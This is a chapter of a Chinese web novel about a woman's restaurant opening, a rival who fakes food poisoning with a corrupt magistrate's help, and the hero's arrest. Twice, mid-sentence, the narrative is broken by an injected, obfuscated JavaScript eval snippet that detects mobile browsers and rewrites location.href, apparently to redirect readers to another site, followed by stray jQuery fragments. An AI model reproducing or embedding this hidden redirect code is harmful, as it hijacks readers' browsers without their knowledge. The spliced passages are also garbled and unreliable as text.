秦二姐见自己来得晚,很不好意思,“哎呀”一声跑上楼钻进厨房里。郑道善则悠悠坐在自己的位置上,拿出来一沓纸,旁边放个算盘准备算账。 福团东斗志昂扬地跟在小柱子身后,满地乱转。花英站在楼梯上,捂着耳朵往下看。 盛时云打开大门,从怀里扔出一卷鞭炮在食肆门口,与穆遂安对视一眼,鞭炮打着旋地噼啪脆响,浓烟过后,盛时云扬起笑脸: “云家食肆正式开张,欢迎各位光临!” 冯桃领着乔乔来的时候,食肆里面已经坐了四桌的客人。她赶紧跑了两步,让乔乔先去空桌子旁边占位置,自己去跟穆遂安打招呼。 “这是秀娘托我带来的。”冯桃把抱来的木雕白菜搁在郑道善坐着的窄桌上面,不小心压住了郑道善写字的草纸。 听到郑道善不满地吹了吹胡子,她赶紧道歉,“哎呀,郑先生抱歉抱歉。欸,穆公子!怎么样,时云忙得过来吗?” “欢迎欢迎,二姐帮她呢。先生,把红糖糍粑和定胜糕都写上。”穆遂安往乔乔坐的桌上看了一眼,转头嘱咐郑道善给她们加菜,又跟来拿菜单的花英讲,“告诉阿云一声,冯阿姐带着乔乔来了。” 穆遂安都忙得发乱,更别提盛时云。冯桃抬头看了一眼菜牌,摆手道:“不叫她不叫她,最近都忙,就我清闲。今天的菜真好,来两……” “连着小孩吃,一份就够。娘子,我家菜量大,包您够吃。”小柱子不知道什么时候跑到她身边,帮她决定。 且不说只是带个孩子,就是三个成年女子,点两份套餐外加一份米饭也就够吃了。 “那成,就来一份。”冯桃羡慕地将食肆上下打量了一遍,“真行,时云遇到你们可是太幸运了。” 说话间,花英从楼上端下来两碟定胜糕。精致的糕点做成方正的模样,上面刻印着“定胜”二字,晕着喜气的红色,一股米粉的清香飘过,直叫人忍不住想放在口中的味道要如何清甜。 “我遇到她才是幸运。”穆遂安正把草纸搭在胳手臂上,正在上面仔细写着什么,闻言看向冯桃,淡笑着纠正道。 “得得得,你们俩好。”冯桃一副腻死人不偿命的表情,退了几步找乔乔,“我先过去了,莫秀娘得晚上来,她自从摆上卷凉皮,摊上就忙起来了,时云这方子真神了。” 小吃摊总归和食肆不一样,青州百姓虽然都熟悉了“云家”这块招牌,不少人还是想试一试盛时云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314372|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的炒菜做得怎么样。 那些原本打算看看情况、晚些再来的食客,没想到食肆里的生意这样火爆,甚至那些专门过来欣赏穆遂安长相的漂亮姑娘,也在门口围成了一个小团体,边排队边探头探脑。 屋里的人吃得舔嘴舔舌,他们站在门外闻着食物的香气,真不甘心。 小柱子从花英手里接过刚做好的干煸豆角,绕过门口排位的人群,油亮爆香,里面点着几段红亮的干辣椒,一看就下饭。 食客的口水还没咽下去,小柱子又走了一趟。 这回他端的是一大碗水煮肉片,一份简直有人脑袋那么大,红油浮动,鲜香四溢,肉片的数量多得看不见下面的配菜。 而且,一份套餐的价钱只有三十五文,菜量这么大,简直要怀疑盛时云是不是做了赔本买卖。 等位的人看直了眼,不停地吞咽口水,急急忙忙找穆遂安问道:“前面还有几位?” “还有三桌。您别急,再两刻就差不多轮到了。” 询问的人长长叹了口气,眼巴巴地往屋里看:“之前的食摊就要排队,结果食肆也这么火爆……” 话音刚落,他耳边突然爆起一声震耳的吵闹笑声。他吓了一激灵,正想转头开骂,定睛一看,竟然是那日当街骂郑道善为郑狗子的那个秃脑亮。 穆遂安也拧眉看过去。他见人过目不忘,虽然那天闹事的时候自己不在场,但在后来盛时云的描述中大体想到了眼前这人。 果不其然,秃脑亮舔了舔牙缝,洪声吵道:“听说郑狗子也来做工了,有没有出息啊,娶不着媳妇就罢了,居然来给个娘们当算账的。” 他嗓门大得出奇,就连吃得正香的食客们都频频回头看过去。郑道善扒拉算盘珠子的手一顿,将桌面上摆着的给两个孩子写好的字帖,悄悄收到下面去。 “排一位。”秃脑亮一撇嘴,跟恰好站在旁边的小柱子说了一声。 穆遂安没有盛时云那样给人出头的好心,既然没闹起来,他目前也不必过去调节。只是,听到秃脑亮口中的“娘们”,他眸色一冷,考虑到今天云家食肆第一天开张,不能败了食肆的名声,他把胸口翻涌的情绪忍了忍,继续做着手头的事。 “这不是开糖醋鱼的那个东家吗,怎么跑这来了。” 旁边食客的嘀咕落进穆遂安的耳朵里,另一个人接着说道:“同行之间,不是砸场子、就是探情报。你不知道,前两天……” 后面的穆遂安没听。他朝花英招招手,让小姑娘先替他照看大堂片刻,自己上楼,进了厨房。 盛时云这边往锅里下茄子块,秦二姐把米饭一碗碗盛出来,看见穆遂安匆匆进门,打了声招呼。 她们两个忙着自己的事,自是不知道楼下发生了什么。穆遂安把糖醋鱼东家找茬的事简单描述给盛时云。秦二姐反应过来:“原来是这个人!” 秃脑亮本名叫王成,为人凶恶爱找事,凭着自家开着个人气不错的糖醋鱼店就敢横着走,自从钱壮搬离之后,王成更嚣张了。 盛时云刚好把茄子盛在盘里,一份套餐凑好,穆遂安规规矩矩端好,她伸手摸了摸穆遂安头上掉下来的几根发丝:“问题不大,你听了就当没听见,先糊弄过去就行。” “知道了。” “欸。”赶在穆遂安下楼的时候,盛时云喊住他,弯了弯眼睛,语气里无端多了点哄,“委屈你,别和他一般见识。” 秦二姐埋着头干活,假装自己不存在。 穆遂安也难得笑了,又答:“知道了。” 32. 干煸豆角 即便如此,秃脑亮也没有因为众人的无视,降低自己的存在感。 轮到他的时候,冯桃刚好抱着乔乔从楼上下来,她刚刚去厨房帮了点忙,乔乔就在后院跟福团玩。 楼下的食客还等着几位,已经差不多过了饭点,剩下的都是赶着七夕上街游玩的年轻人,因此也不在意吃饭的时间,大多坐在门口,人手一杯茶水,闲适地聊着天。 盛时云炒一次的菜量能出三盘,人一少,出菜就快了。 为了防止给小孩找不痛快闹事,穆遂安接过小柱子端下来的套餐,亲自送过去。 秃脑亮斜睨着他,在穆遂安眼皮子底下捞了几筷子水煮肉片里的肉,塞进嘴里,大嚼两口:“嗯……不错!” 他势头狂悖,但老老实实吃着饭,应当总体掀不起什么水花。 穆遂安收盘走人,并未将他暗暗的挑衅放在眼里。 他瞥了一眼窄桌后面的郑道善,后者的姿态并不放松,但并没显得怯懦,反而认认真真写着账本,不将注意力放到这个经常欺凌自己的人上面。 “把下一桌招呼进来。” 套餐的选菜都很下饭,食客们吃得意犹未尽,米饭倒是填饱了肚子,再喝点紫菜蛋花汤,能鲜灵灵地在街上溜达一下午。 期间周源和莫秀娘都来过,但因为三仙街还有生意,七夕的日子人多事更多,别提莫秀娘自从学了云家的卷凉皮,就火爆得腾不开手。 他们打过招呼,吃了饭、放下了贺礼,就乐呵呵地匆匆走了。 外面等位的人已经都进了屋,有四桌坐满了人,另外一桌上正把豆角塞进嘴里的秃脑亮。 盛时云洗过手解了围裙,留秦二姐把厨房稍微整理一下,自己先下楼看看大堂的情况。 半只脚还没迈下来,就听到楼下一声震耳欲聋的哀嚎。 盛时云揉了揉耳朵,扶着楼梯扶手,往下探身,正好和躺在地上打滚的王成的视线撞在了一起。 壮汉的秃头跟灯泡一样在地上反光,王成的五官都皱在一起,双手捂着肚子。她扬了扬眉,加快了下楼的步子,想看看他到底要做什么。 “你们家豆角没熟!之前就觉得嚼起来嘎吱嘎吱的,个小娘们,不知道生豆角有毒啊!”他边打滚边骂,声音极大,引得剩下几桌吃饭的食客都怀疑地放下了筷子。 “啊,快来人,我要吐血了!!”王成爬起来干呕。 穆遂安本做好了把人打一顿扔出去的准备,冷不丁听他竟然满嘴污蔑,将事情引到了菜品的身上,心头烦躁更甚,回头找盛时云的目光。 食品中毒无论在什么时候都是大事,盛时云也没想到他会来这么一手,看向桌子上吃得干干净净的盘子,想要找证据都难找。 外面已经围过来了一圈看热闹的百姓,要真的被王成得逞,不仅云家食肆,就连莫秀娘卖的卷凉皮都得被官府查办个底朝天。 只是,王成这个豆角中毒的措辞她好像在哪里听到过…… 来不及细想,盛时云叫了花英,拍两下她的肩膀:“快去官府,先把管这事的人请来。”她抬头看见小柱子,一扬下巴,“你也跟着去。” 穆遂安脸色微沉,站着没动。 他一个军营里出来的人,从来不是怕事,但说到底满心都是军纪军法,脱了沙场和朝廷,面对满城百姓的细碎事时,那些东西一时拿不出手了。 不说小城里的判官,连坐镇青州的刺史见了他也得安分地喊声侯爷,穆遂安就算把王成一脚踹死在这,都是小事。 可是人言可畏,涉及食物的安全,如果没有妥善解决,让云家食肆在食客中毫无可信度,那可就是大事了。 再者说,这种不上数的烂人,死在食肆里都脏了阿云的风水。 “这种做小吃摊的店主,果然不是专业的。”一个女人猛地扔下了筷子,显然很不满意,对坐她对面的男人说,“我不吃了,过个节就带我来这种地方?” “不来了不来了,再也不来了。”男人赔着笑站起来。 “谁知道那么火的云家食摊,居然不知道豆角的生熟,估计之前那些也都是从哪找来的破方子。咱不吃了!吃了对身体不好的。” 这话就连郑道善听了都怒得吹吹胡子,穆遂安却见盛时云垂手站在一旁,和没事人一样,只是抿了抿唇。 其他食客因为听到其他人的诋毁也迟疑地放下筷子,就算自己的菜是熟的,那能保证别的菜没有问题吗。 虽然停住了嘴,但都没起身离开。旁边更有话本子似的好戏看,何乐不为。 “昀川,你去一趟,把江郎中找。”盛时云找了把椅子坐下,挑起眉地看着地上打滚的王成,纤细的手指在桌面上灵活地敲了敲。 注意到穆遂安好像还要说话,她加了一句: “快去快回。听话。” 听话二字像沾了蜜糖的迷药,击得穆遂安中蛊了般,晕晕乎乎地走出了食肆。 “王老板,快起来吧,一会儿郎中和官爷们都来了,闹大了对你家食肆也不好。”盛时云打了个哈欠,换个坐姿,劝他爬起来。 “……”王成就像没听到,卖力地捂着肚子表演。 盛时云将离桌的那对男女餐盘里的干煸豆角拿过来,仔细瞧瞧,甚至毫不嫌弃地夹起一根豆角放进嘴里嚼了嚼。 正检验着生熟,小柱子先跑了进来,后面跟着的是花英和一个面生的乡判官。判官一脸严肃古板,登堂扫了一眼,看也没看盛时云,倒向王成走去。 “大胆!这是、这是……青天白日毒害百姓!”判官不分青红皂白,先对着盛时云劈头盖脸指责起来,甚至给她扣了一顶故意下毒的帽子。 盛时云并没被他的指着吓到,反而很快反应过来——判官和王成也是一伙的。 “为何不找原先那个判官?我记得他一直是柳刺史下属的。柳刺史为官清廉,他治下的官吏也要公正些。”郑道善正跟小柱子说话,听到盛时云那边的动静,不由得担心地皱了皱眉。 “刺史把他叫走了,衙门里只有他暂代。”小柱子紧张回答。 “我们家是套餐制,一锅炒出三盘菜。现在的时段客人少,在座每一桌的干煸豆角都可能与王老板的出自同一锅。为何别人没事,偏偏他腹痛不止?” 盛时云将方才拿来在手边放着的豆角递给判官,眼睛里面毫无惧意:“小女方才也尝过,为何我也没事?” “分明就是诬陷!” 花英对这样大的吵闹有些害怕,但还是咬着牙走过去,小小的身板挡在盛时云面前:“郑先生教过我们,有公心必有公道,有公道方有公制。您作为一方官员,不分是非黑白,是不对的!” 判官没想到一个小丫头也敢来教训自己,含糊不清地骂了一句,眼睛一瞪,伸手就要把花英推倒。 花英害怕地尖叫一声,被盛时云一把护在怀里。这把推搡最终落到盛时云的胳膊上,判官的手抓得她生疼,盛时云皱着眉,怒道:“被孩子教育了,官爷恼羞成怒吗?” 躺在地上的王成也不喊疼了,瞪大了眼睛看热闹。 “恼羞成怒?我还真不……啊!” 判官话还没说完,一个还带着菜汤的盘子猛击在他脑袋上,眩晕疼痛的同时,还热的汤水直接浇在脸上,烫得他嗷嗷直叫。 穆遂安大步跨进来,脸色阴沉得可怕,握住盛时云的胳膊仔细看了看,确定没事才堪堪松了一口气。 花英被秦二姐叫上了楼。郑道善和小柱子也转去后院回避。 “劳烦您看一眼。”穆遂安给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335940|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江郎中让了个位置,冷眸里的冰碴未融,盯得判官发毛,张了半天嘴,半天才憋出来一句:“你要造反啊!” 盛时云拽了穆遂安一把,瞧着小老头抖抖索索地给王成把完脉,直起腰来,摇了摇头:“啥事没有。” 江郎中又拿筷子在干煸豆角的盘子里翻了翻:“豆角也是熟的。啥事没有。” 这么一说可谓真相大白,看热闹的食客纷纷舒了一口气,又为盛时云不忿起来。 很明显是王成要打的商战,但是手段又脏又不体面,引得不少人反感,再加上前几天他开除了食肆里几个常干的伙计,一时间,风言风语又传了起来。 不过这次,传的倒是王成家的糖醋鱼,说是味道又腥又酸,全是骗人的,一点也不好吃! 谎言被拆穿,王成一骨碌爬起来,幸灾乐祸地承认道:“老子现在好了,你能咋地?” “不过呢……”王成朝盛时云和穆遂安油腻一笑,掏出张巾子给判官擦脸上的汤水,“把我们官爷打了,是不是得给个说法?” 不能往云家食肆上泼脏水,没想到落着个大的。要是能把这男人给打发了,以后云家食肆不就任凭自己拿捏了? 郑道善隔着门听到了王成说的话,倒吸一口凉气,平民百姓袭击官兵,那罪名可不是下个牢狱就能免了的。 盛时云心中也是一阵紧张,她第一次发慌地看向穆遂安,没想到穆遂安却云淡风轻地立在原地,手掌握着手腕漫不经心地转了转:“好啊。” 剩下的一个下午,云家食肆照常营业。 或许是人们更愿意看着夜晚的迢迢银河出来过节,又或许是上午的一码事给云家食肆再次打响了招牌。 总之,客流量比中午要多了许多。 盛时云回到厨房里,继续认认真真地炒菜干活,一盘盘套餐递下去,依旧色香味俱全,让吃不起酒楼的老百姓们也过了个嘴瘾。 虽然手上的动作条理清晰,但自从穆遂安被捆着押走,她心神不定的模样就一直延续到现在。 她不说,秦二姐却能看出来,便试探着劝道: “要不,现在关了店去看看?” “不用去,他说没事了。之前不是也有小厮来报平安了嘛,肯定没事的。”盛时云摇摇头,把最后呛香的热油倒在水煮肉片上层的辣椒粉上,嗞啦嗞啦的爆香充斥在厨房里。 秦二姐帮忙把碗摆好,朝楼下喊了一声:“柱子!上菜!” 小柱子一溜烟跑上来,秦二姐问道:“还剩几桌?” “外面还等了五六个人呢,郑先生都站起来帮忙了。”小柱子越忙越高兴,嘻嘻笑着,“穆公子啥时候回来呀,下面要忙不过来了。” 盛时云一抬眼,稍微缓下心来,再做两锅,就能腾出手了。 等六份套餐全部做好,连摆盘都规规矩矩,看不出一丝急躁的模样。盛时云解开围裙,向秦二姐拜托道:“我去衙门看看,你们走的时候记得嘱咐英子把门锁挂好。” 言罢,她几乎用冲的下了楼,眉头蹙起往衙门跑,甚至不知道自己到底因为什么慌成这样。 中午把人押走的,现在都过了酉时还没见人回来。盛时云确实不知古代民间的条例法规,但光是看郑道善和秦二姐的脸色就知道事情没那么简单。 她一路没歇,鬓发上插着的素钗都不听话地摇晃,跑到衙门大门口,还未上前一步就被大门两侧看门的守卫拦了下来。 “我、我是……”她还没想好以什么身份开口,只听衙门里面发出一声爆裂的巨响,应当是桌子或者其他什么重物砸在了地上。 下一刻,穆遂安的身影从内堂快步而出,见到盛时云时明显愣了一下,唇角不自觉地上扬,他拂开官兵阻挡的刀戟,问道:“你怎么来了?”